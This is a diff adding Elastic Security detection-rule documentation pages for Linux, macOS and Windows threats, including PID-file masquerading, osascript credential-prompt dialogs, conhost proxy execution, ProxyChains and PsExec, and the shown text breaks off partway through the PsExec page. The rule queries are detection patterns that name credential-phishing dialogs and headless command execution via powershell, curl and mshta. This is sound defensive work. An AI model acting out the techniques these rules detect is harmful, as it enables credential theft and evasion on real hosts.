https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-from-process-id-pid-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-from-process-id-pid-file.asciidoc new file mode 100644 index 0000000000..971e674ec1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-from-process-id-pid-file.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-process-started-from-process-id-pid-file]] +=== Process Started from Process ID (PID) File + +Identifies a new process starting from a process ID (PID), lock or reboot file within the temporary file storage paradigm (tmpfs) directory /var/run directory. On Linux, the PID files typically hold the process ID to track previous copies running and manage other tasks. Certain Linux malware use the /var/run directory for holding data, executables and other tasks, disguising itself or these files as legitimate PID files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sandflysecurity.com/blog/linux-file-masquerading-and-malicious-pids-sandfly-1-2-6-update/ +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://exatrack.com/public/Tricephalic_Hellkeeper.pdf +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Started from Process ID (PID) File* + +Detection alerts from this rule indicate a process spawned from an executable masqueraded as a legitimate PID file which is very unusual and should not occur. Here are some possible avenues of investigation: +- Examine parent and child process relationships of the new process to determine if other processes are running. +- Examine the /var/run directory using Osquery to determine other potential PID files with unsually large file sizes, indicative of it being an executable: "SELECT f.size, f.uid, f.type, f.path from file f WHERE path like '/var/run/%%';" +- Examine the reputation of the SHA256 hash from the PID file in a database like VirusTotal to identify additional pivots and artifacts for investigation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and user.id == "0" and + process.executable regex~ """/var/run/\w+\.(pid|lock|reboot)""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Sub-technique: +** Name: Masquerade File Type +** ID: T1036.008 +** Reference URL: https://attack.mitre.org/techniques/T1036/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-with-executable-stack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-with-executable-stack.asciidoc new file mode 100644 index 0000000000..c7f72941fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-started-with-executable-stack.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-20-process-started-with-executable-stack]] +=== Process Started with Executable Stack + +This rule monitors the syslog log file for messages related to instances of processes that are started with an executable stack. This can be an indicator of a process that is attempting to execute code from the stack, which can be a security risk. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: System +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Started with Executable Stack* + + +In Linux environments, processes with executable stacks can pose security risks as they may allow code execution from the stack, a behavior often exploited by attackers to run arbitrary code. Adversaries might leverage this to execute malicious scripts or commands. The detection rule monitors syslog for kernel messages indicating such processes, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the syslog entries to identify the specific process that triggered the alert, focusing on the message field containing "started with executable stack". +- Investigate the process name and associated command-line arguments to understand the nature and purpose of the process. +- Check the process's parent process to determine if it was spawned by a legitimate application or service. +- Analyze the user account under which the process is running to assess if it aligns with expected behavior and permissions. +- Look for any recent changes or anomalies in the system that might correlate with the process start time, such as new software installations or configuration changes. +- Cross-reference the process with known threat intelligence sources to identify if it matches any known malicious patterns or indicators. + + +*False positive analysis* + + +- Development tools and environments may intentionally use executable stacks for legitimate purposes, such as certain debugging or testing scenarios. Users can create exceptions for these specific tools by identifying their process names and excluding them from the detection rule. +- Some legacy applications might require executable stacks due to outdated coding practices. Users should verify the necessity of these applications and, if deemed non-threatening, add them to an exclusion list based on their process names or paths. +- Custom scripts or applications developed in-house might inadvertently use executable stacks. Conduct a review of these scripts to ensure they are safe, and if so, exclude them from monitoring by specifying their unique identifiers. +- Certain system utilities or libraries might trigger this rule during normal operations. Users should consult documentation or vendor support to confirm if these are expected behaviors and exclude them accordingly if they pose no risk. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate the suspicious process identified with an executable stack to halt any ongoing malicious activity. +- Conduct a thorough analysis of the process and its associated files to identify any malicious payloads or scripts that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Apply security patches and updates to the operating system and applications to mitigate vulnerabilities that could be exploited by similar threats. +- Implement stack protection mechanisms such as stack canaries or non-executable stack configurations to prevent future exploitation. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.dataset:"system.syslog" and process.name:"kernel" and +message:"started with executable stack" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-prompt-for-credentials-with-osascript.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-prompt-for-credentials-with-osascript.asciidoc new file mode 100644 index 0000000000..d8844acd40 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-prompt-for-credentials-with-osascript.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-prompt-for-credentials-with-osascript]] +=== Prompt for Credentials with Osascript + +Identifies the use of osascript to execute scripts via standard input that may prompt a user with a rogue dialog for credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/prompt.py +* https://ss64.com/osx/osascript.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Prompt for Credentials with OSASCRIPT* + + +OSASCRIPT is a macOS utility that allows the execution of AppleScript and other OSA language scripts. Adversaries may exploit it to display deceptive dialogs prompting users for credentials, mimicking legitimate requests. The detection rule identifies suspicious OSASCRIPT usage by monitoring specific command patterns and excluding known legitimate processes, thereby flagging potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process command line to confirm if the osascript command includes suspicious patterns like "display dialog" with "password" or "passphrase" to determine if it is attempting to prompt for credentials. +- Check the parent process executable to see if it matches any known legitimate applications or services, such as those listed in the exclusion criteria, to rule out false positives. +- Investigate the user account associated with the process to determine if it is a privileged account or if there is any unusual activity associated with it. +- Examine the process execution context, including the effective parent executable, to identify if the osascript was executed by a legitimate management tool or script. +- Look for any other related alerts or logs around the same timeframe to identify if this is part of a broader attack or isolated incident. +- Assess the risk and impact by determining if any credentials were potentially compromised and if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate administrative scripts using osascript may trigger alerts if they include dialog prompts for passwords or passphrases. To manage this, identify and exclude these scripts by adding their specific command lines or parent executables to the exception list. +- Processes initiated by trusted applications like JAMF or Karabiner-Elements can be mistakenly flagged. Ensure these applications are included in the exclusion list to prevent unnecessary alerts. +- Scheduled maintenance tasks that use osascript for legitimate purposes might be misidentified. Review and exclude these tasks by specifying their user IDs or command line patterns in the detection rule exceptions. +- Custom scripts executed by system administrators for routine operations may appear suspicious. Document these scripts and add them to the exclusion criteria to avoid false positives. +- Terminal-based automation tools that interact with osascript could be incorrectly flagged. Verify these tools and include their paths in the exclusion list to reduce false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious osascript process identified by the alert to stop any ongoing credential theft attempts. +- Conduct a thorough review of the affected system's recent activity logs to identify any unauthorized access or changes made during the incident. +- Reset credentials for any accounts that may have been compromised, ensuring that new passwords are strong and unique. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement additional monitoring on the affected system and similar endpoints to detect any recurrence of the threat. +- Review and update endpoint security configurations to block unauthorized script execution and enhance detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.action == "exec" and host.os.type == "macos" and + process.name == "osascript" and process.args == "-e" and process.command_line like~ ("*osascript*display*dialog*password*", "*osascript*display*dialog*passphrase*", "*osascript*display*dialog*authenticate*", "*pass*display*dialog*") and + not (process.parent.executable == "/usr/bin/sudo" and process.command_line like~ "*Encryption Key Escrow*") and + not (process.command_line like~ "*-e with timeout of 3600 seconds*" and user.id like "0" and process.parent.executable == "/bin/bash") and + not process.parent.command_line like "sudo*" and + not process.Ext.effective_parent.executable like~ + ("/usr/local/jamf/*", + "/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon", + "/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM", + "/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent", + "/Applications/Karabiner-Elements.app/Contents/MacOS/Karabiner-Elements", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfManagementService.app/Contents/MacOS/JamfManagementService") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Sub-technique: +** Name: GUI Input Capture +** ID: T1056.002 +** Reference URL: https://attack.mitre.org/techniques/T1056/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxy-execution-via-console-window-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxy-execution-via-console-window-host.asciidoc new file mode 100644 index 0000000000..b274a80360 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxy-execution-via-console-window-host.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-proxy-execution-via-console-window-host]] +=== Proxy Execution via Console Window Host + +Identifies abuse of the Console Window Host (conhost.exe) to execute commands via proxy. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Conhost/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Console Window Host* + + + +*Possible investigation steps* + + +- Review the conhost child processes and the parent process to identify the initial vector. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and process.args : "--headless" and + process.command_line : ("*powershell*", "*cmd *", "*cmd.exe *", "*script*", "*mshta*", "*curl *", "*curl.exe *", "*^*^*^*", "*.bat*", "*.cmd*", "*schtasks*", "*@SSL*", "*http*", "* \\\\*", "*.vbs*", "*.js*", "*mhsta*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxychains-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxychains-activity.asciidoc new file mode 100644 index 0000000000..81e272feb0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-proxychains-activity.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-proxychains-activity]] +=== ProxyChains Activity + +This rule monitors for the execution of the ProxyChains utility. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ProxyChains Activity* + + +Attackers can leverage `proxychains` to obfuscate their origin and bypass network defenses by routing their malicious traffic through multiple intermediary servers. + +This rule looks for processes spawned through `proxychains` by analyzing `proxychains` process execution. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network obfuscation. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses this utility for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "proxychains" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Multi-hop Proxy +** ID: T1090.003 +** Reference URL: https://attack.mitre.org/techniques/T1090/003/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-psexec-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-psexec-network-connection.asciidoc new file mode 100644 index 0000000000..9804e866e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-psexec-network-connection.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-psexec-network-connection]] +=== PsExec Network Connection + +Identifies use of the SysInternals tool PsExec.exe making a network connection. This could be an indication of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PsExec Network Connection* + + +PsExec is a remote administration tool that enables the execution of commands with both regular and SYSTEM privileges on Windows systems. Microsoft develops it as part of the Sysinternals Suite. Although commonly used by administrators, PsExec is frequently used by attackers to enable lateral movement and execute commands as SYSTEM to disable defenses and bypass security protections. + +This rule identifies PsExec execution by looking for the creation of `PsExec.exe`, the default name for the utility, followed by a network connection done by the process. + + +*Possible investigation steps* + + +- Check if the usage of this tool complies with the organization's administration policy. +- 